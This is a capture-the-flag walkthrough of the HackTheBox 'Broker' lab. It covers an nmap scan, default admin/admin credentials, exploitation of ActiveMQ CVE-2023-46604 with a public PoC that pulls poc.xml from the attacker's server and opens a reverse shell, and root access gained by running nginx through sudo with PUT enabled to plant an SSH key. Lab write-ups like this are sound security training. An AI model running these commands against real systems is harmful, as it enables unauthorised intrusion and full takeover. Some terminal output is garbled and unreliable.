



# HackTheBox - Broker (Easy)

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
## Enumeration

### Nmap scan


```
# Nmap 7.93 scan initiated Mon Dec 11 10:50:50 2023 as: nmap -A -p- -T5 -oN nmapResults.txt -v 10.129.89.254
Nmap scan report for 10.129.89.254
Host is up (0.025s latency).
Not shown: 65526 closed tcp ports (conn-refused)
PORT      STATE SERVICE        VERSION
22/tcp    open  ssh            OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3eea454bc5d16d6fe2d4d13b0a3da94f (ECDSA)
|_  256 64cc75de4ae6a5b473eb3f1bcfb4e394 (ED25519)
80/tcp    open  http           nginx 1.18.0 (Ubuntu)
```

```
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ basic realm=ActiveMQRealm
|_http-title: Error 401 Unauthorized
|_http-server-header: nginx/1.18.0 (Ubuntu)
1883/tcp open mqtt
| mqtt-subscribe:
| Topics and their most recent payloads:
| ActiveMQ/Advisory/MasterBroker:
|_ ActiveMQ/Advisory/Consumer/Topic/#:
5672/tcp open amqp?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, GetRequest, HTTPOptions, RPCCheck, RTSPRequest, SSLSessionReq, TerminalServerCookie:
| AMQP
| AMQP
| amqp:decode-error
|_ 7Connection from client using unsupported AMQP attempted
|_amqp-info: ERROR: AQMP:handshake expected header (1) frame, but was 65
8161/tcp open http Jetty 9.4.39.v20210325
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ basic realm=ActiveMQRealm
|_http-title: Error 401 Unauthorized
|_http-server-header: Jetty(9.4.39.v20210325)
3439/tcp open tcpwrapped
61613/tcp open stomp Apache ActiveMQ
| fingerprint-strings:
| HELP4STOMP:
| ERROR
| content-type:text/plain
| message:Unknown STOMP action: HELP
| org.apache.activemq.transport.stomp.ProtocolException: Unknown STOMP action: HELP
| org.apache.activemq.transport.stomp.ProtocolConverter.onStompCommand(ProtocolConverter.java:258)
| org.apache.activemq.transport.stomp.StompTransportFilter.onCommand(StompTransportFilter.java:85)
| org.apache.activemq.transport.TransportSupport.doConsume(TransportSupport.java:83)
| org.apache.activemq.transport.tcp.TcpTransport.doRun(TcpTransport.java:233)
| org.apache.activemq.transport.tcp.TcpTransport.run(TcpTransport.java:215)
|_ java.lang.Thread.run(Thread.java:750)
61614/tcp open http Jetty 9.4.39.v20210325
| http-methods:
| Supported Methods: GET HEAD TRACE OPTIONS
|_ Potentially risky methods: TRACE
|_http-title: Site doesn't have a title.
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
|_http-server-header: Jetty(9.4.39.v20210325)
61616/tcp open apachemq ActiveMQ OpenWire transport
| fingerprint-strings:
| NULL:
| ActiveMQ
| TcpNoDelayEnabled
| SizePrefixDisabled
| CacheSize
| ProviderName
| ActiveMQ
| StackTraceEnabled
| PlatformDetails
| Java
| CacheEnabled
| TightEncodingEnabled
| MaxFrameSize
| MaxInactivityDuration
| MaxInactivityDurationInitialDelay
| ProviderVersion
|_ 5.15.15
3 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
=====NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)=====
SF-Port5672-TCP:V=7.93%I=7%D=12/11%Time=6576DB8F%P=x86_64-pc-linux-gnu%r(G
SF:etRequest, 89, "AMQP\x03\x01\x00AMQP\x01\x01\x00\x01\x19\x02\x00\x0S\x10
SF:\xc0\x0c\x04\xa10@p0\x02\x00`\x7f\xff\x00\x00`\x02\x00\x00\x18\x00M\x0
SF:10S\x1d\x00M\x02\xa3\x11amqp:decode-error\xa17Connection\x20from\x20cl
SF:ient\x20using\x20unsupported\x20AMQP\x20attempted")%r(HTTPOptions, 89, "A
SF:MQP\x03\x01\x00AMQP\x01\x01\x00\x01\x19\x02\x00\x0S\x10\x0c\x0c\x04\xa
SF:10@p0\x02\x00`\x7f\xff\x00\x00`\x02\x00\x00\x18\x00M\x010S\x1d\x00M\x
SF:02\xa3\x11amqp:decode-error\xa17Connection\x20from\x20client\x20using\x
SF:20unsupported\x20AMQP\x20attempted")%r(RTSPRequest, 89, "AMQP\x03\x01\x00
SF:AMQP\x01\x01\x00\x01\x19\x02\x00\x00\x10\x0c\x0c\x04\xa10@p0\x02\x00
SF:`\x7f\xff\x00\x00`\x02\x00\x00\x18\x00S\x010S\x1d\x00M\x02\xa3\x11amqp:
```






We are asked for credentials. If we try admin as username and password, we are successfully logged in and we are redirected to this web page :



If we click on **Manage ActiveMQ Broker**, we are redirected to this web page :



We can see that **ActiveMQ 5.15.15** is running on this web server. Let's see if this version is vulnerable by searching for it on the NIST website :


- CPE Name Search: true

Vuln ID ❸	Summary ❶	CVSS Severity ❷
<b>CVE-2022-41678</b>	Once an user is authenticated on Jolokia, he can potentially trigger arbitrary code execution. In details, in ActiveMQ configurations, jetty allows org.jolokia.http.AgentServlet to handler request to /api/jolokia org.jolokia.http.HttpRequestHandler#handlePostRequest is able to create JmxRequest through JSONObject. And calls to org.jolokia.http.HttpRequestHandler#executeRequest. Into deeper calling stacks, org.jolokia.handler.ExecHandler#doHandleRequest is able to invoke through reflection. And then, RCE is able to be achieved via jdk.management.jfr.FlightRecorderMXBeanImpl which exists on Java version above 11. 1 Call newRecording. 2 Call setConfiguration. And a webshell data hides in it. 3 Call startRecording. 4 Call copyTo method. The webshell will be written to a .jsp file. The mitigation is to restrict (by default) the actions authorized on Jolokia, or disable Jolokia. A more restrictive Jolokia configuration has been defined in default ActiveMQ distribution. We encourage users to upgrade to ActiveMQ distributions version including updated Jolokia configuration: 5.16.6, 5.17.4, 5.18.0, 6.0.0. <b>Published:</b> November 28, 2023; 11:15:06 AM -0500	V3.I: <b>8.8 HIGH</b> V2.0:(not available)
<b>CVE-2023-46604</b>	The Java OpenWire protocol marshaller is vulnerable to Remote Code Execution. This vulnerability may allow a remote attacker with network access to either a Java-based OpenWire broker or client to run arbitrary shell commands by manipulating serialized class types in the OpenWire protocol to cause either the client or the broker (respectively) to instantiate any class on the classpath. Users are recommended to upgrade both	V3.I: <b>9.8 CRITICAL</b> V2.0:(not available)

Let's try to exploit **CVE-2023-46604** in order to execute arbitrary code to get a shell on the target system.

## Initial access


There is an exploit available for this vulnerability on GitHub [here](#) :



We can clone this repository on our attacking host :

```
[cyberretta@parrot]-(~/Documents/HTB/Machines/Easy/Broker/exploits)
$ git clone https://github.com/evkl1d/CVE-2023-46604.git
Clonage dans 'CVE-2023-46604'...
remote: Enumerating objects: 22, done.
remote: Counting objects: 100% (22/22), done.
remote: Compressing objects: 100% (17/17), done.
remote: Total 22 (delta 5), reused 13 (delta 3), pack-reused 0
Réception d'objets: 100% (22/22), 5.10 Kio | 5.10 Mio/s, fait.
Résolution des deltas: 100% (5/5), fait.
[cyberretta@parrot]-(~/Documents/HTB/Machines/Easy/Broker/exploits)
$ ls
CVE-2023-46604
```

Now, we can edit the poc.xml file to change the IP address and port that will receive the reverse shell :



We need to start a web server in the same directory as poc.xml like so :

```
[cyberretta@parrot]--[~/Documents/HTB/Machines/Easy/Broker/exploits/CVE-2023-46604]
$ sudo python3 -m http.server 80
[sudo] Mot de passe de cyberretta :
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

Next, we can start a listener in order to receive the reverse shell :

```
Parrot Terminal
[cyberretta@parrot]--[~/Documents/HTB/Machines/Easy/Broker/exploits/CVE-2023-46604]
$ pwncat -cs -lp 4444
/home/cyberretta/.local/lib/python3.9/site-packages/paramiko/transport.py:178: CryptographyDeprecationWarning:
'class': algorithms.Blowfish, Network access to the vulnerable ActiveMQ server.
[11:05:34] Welcome to pwncat ! The URL to the poc.xml file, which should be accessible by the target ActiveMQ server.
bound to 0.0.0.0:4444
```

Finally, we can run the exploit :

```
[cyberretta@parrot]--[~/Documents/HTB/Machines/Easy/Broker/exploits/CVE-2023-46604]
$ python3 exploit.py -i 10.129.89.254 -p 61616 -u http://10.10.14.66/poc.xml

[*] Target: 10.129.89.254:61616
[*] XML URL: http://10.10.14.66/poc.xml

[*] Sending packet: 0000006d1f00000000000000000000000010100426f72672e737072696e6766672616d65776f726b2e636f6e74657
586d6c4170706c69636174696f6e436f6e7465787401001a687474703a2f2f31302e31302e31342e36362f706f6632e786d6c

[cyberretta@parrot]--[~/Documents/HTB/Machines/Easy/Broker/exploits/CVE-2023-46604]
$
```

And we should receive a reverse shell on our listener :

```
Parrot Terminal
[cyberretta@parrot]--[~/Documents/HTB/Machines/Easy/Broker/exploits/CVE-2023-46604]
$ pwncat -cs -lp 4444
/home/cyberretta/.local/lib/python3.9/site-packages/paramiko/transport.py:178: CryptographyDeprecationWarning:
'class': algorithms.Blowfish,
[11:05:34] Welcome to pwncat !
[11:07:41] received connection from 10.129.89.254:55466
[11:07:42] 10.129.89.254:55466: registered new host w/ db
(local) pwncat$
(remote) activemq@broker:/opt/apache-activemq-5.15.15/bin$
```

## Privilege escalation (root)

Let's take a look at our sudo rights :



```
(remote) activemq@broker:/home/activemq$ sudo -l
Matching Defaults entries for activemq on broker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:
    db.sqlite3

User activemq may run the following commands on broker:
    (ALL : ALL) NOPASSWD: /usr/sbin/nginx
(remote) activemq@broker:/home/activemq$
```

We can run nginx as root without password. In order to exploit this we will need to :

- Create a custom nginx configuration file
- Change nginx PID to avoid conflict
- Make it run as root
- Make it run on another port (any available port should work)
- Make the PUT method available
- Define the website root to `/root`

With this configuration, we should be able to upload an SSH public key in `/root/.ssh` in order to log in via SSH as root on the target server. We can copy the default nginx configuration files like so :

```
(remote) activemq@broker:/home/activemq$ cp /etc/nginx/nginx.conf ./
(remote) activemq@broker:/home/activemq$ cp /etc/nginx/sites-enabled/default ./
(remote) activemq@broker:/home/activemq$ ls
default  nginx.conf  user.txt
```

Now, we can edit the `nginx.conf` file like so :

```
(remote) activemq@broker:/home/activemq$ cat nginx.conf
user root;
worker_processes auto;
pid /run/nginx2.pid;
include /etc/nginx/modules-enabled/*.conf;

events {
    worker_connections 768;
    # multi_accept on;
}

http {

    ##
    # Basic Settings
    ##

    sendfile on;
    tcp_nopush on;
    types_hash_max_size 2048;
    # server_tokens off;

    # server_names_hash_bucket_size 64;
    # server_name_in_redirect off;

    include /etc/nginx/mime.types;
    default_type application/octet-stream;

    ##
    # SSL Settings
    ##

    ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; # Dropping SSLv3, ref: POODLE
    ssl_prefer_server_ciphers on;

    ##
    # Logging Settings
    ##
}
```



```
##

access_log /var/log/nginx/access.log;
error_log /var/log/nginx/error.log;

##
# Gzip Settings
##

gzip on;

##
# Virtual Host Configs
##

include /etc/nginx/conf.d/*.conf;
include /home/activemq/default;
}
```

And the `default` virtual host configuration file like so :

```
(remote) activemq@broker:/home/activemq$ cat default
server {
    listen 1234;
    server_name privesc.local;
    root /root;
    dav_methods PUT;
}
```

Now, we can run nginx with the custom configuration like so :

```
(remote) activemq@broker:/home/activemq$ sudo nginx -c /home/activemq/nginx.conf
```

Then, we can generate a pair of SSH keys :

```
[cyberretta@parrot]--[~/Documents/HTB/Machines/Easy/Broker/exploits]
└─ $ssh-keygen -f id_rsa
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in id_rsa
Your public key has been saved in id_rsa.pub
The key fingerprint is:
SHA256:ZT1vUahh3hyjQvG+BF2lmBtETUuf7vWGLYjwyFS+Ncw cyberretta@parrot
The key's randomart image is:
+---[RSA 3072]-----+
|      00+000*=|
|      o  *="+Bo+|
|      ++*0Eo=+|
|      o.o*==+o|
|      S  o+  +.o|
|      . o . |
|      .      |
|      .      |
|      .      |
+----[SHA256]-----+
```

Next, we need to rename the `id_rsa.pub` file to `authorized_keys` :

```
[cyberretta@parrot]--[~/Documents/HTB/Machines/Easy/Broker/exploits]
└─ $mv id_rsa.pub authorized_keys
```

After this, we can upload the public SSH key with curl :

```
[cyberretta@parrot]~/Documents/HTB/Machines/Easy/Broker/exploits
└─ $curl -X PUT http://10.129.44.199:1234/.ssh/ --upload-file authorized_keys
```

Finally, we should be able to use our private SSH key to login as root on SSH :

```
[cyberretta@parrot]~/Documents/HTB/Machines/Easy/Broker/exploits
└─ $ssh root@10.129.44.199 -i id_rsa
The authenticity of host '10.129.44.199 (10.129.44.199)' can't be established.
ECDSA key fingerprint is SHA256:/GPlBwtNcx3ra0zTlmXrcsc1JM6jwKYH5Bo5qE5DM.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.44.199' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-88-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

System information as of Tue Dec 12 03:52:15 PM UTC 2023

System load:          0.0
Usage of /:           70.5% of 4.63GB
Memory usage:        10%
Swap usage:          0%
Processes:           159
Users logged in:      0
IPv4 address for eth0: 10.129.44.199
IPv6 address for eth0: dead:beef::250:56ff:fe96:97f6

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

root@broker:~#
```

We are now root on the target system.

## Clearing tracks

- Remove malicious nginx config files
- Kill malicious nginx process
- Remove attacker SSH public key from `/root/.ssh`.

## Vulnerabilities summary

### Default credentials

### Pentester evaluation

- Score : **9.4 CRITICAL**
- Impact : Allows an attacker to gain full access to the **Apache ActiveMQ** web service.

### Patch proposition

Change default credentials and use a strong password.

## Apache ActiveMQ Remote Code Execution (RCE)

### Pentester evaluation

- Score : **9.8 CRITICAL**
- Impact : Allows an attacker to gain access to the web server as `activemq` user.

### Patch proposition

Update **Apache ActiveMQ** at least to **5.15.16**, or to the latest version if possible.

## Sudo permissions misconfiguration

### Pentester evaluation

- Score : **8.4 HIGH**
- Impact : Allows an attacker to gain full administrative access to the entire system.

### Patch proposition

Review sudo rights to avoid malicious user to gain root access by leveraging nginx.

## Tools used

- Nmap ← scan the target for open ports and services versions.
- Pwncat-cs ← Listen for reverse shell connection

## Sources

- **Apache ActiveMQ 5.15.15** vulnerabilities : [https://nvd.nist.gov/vuln/search/results?adv\\_search=true&isCpeNameSearch=true&query=cpe%3A2.3%3Aa%3Aapache%3Aactivemq%3A5.15.15%3A\\*%3A\\*%3A\\*%3A](https://nvd.nist.gov/vuln/search/results?adv_search=true&isCpeNameSearch=true&query=cpe%3A2.3%3Aa%3Aapache%3Aactivemq%3A5.15.15%3A*%3A*%3A*%3A)
- Exploit **Apache ActiveMQ** : <https://github.com/evkl1d/CVE-2023-46604>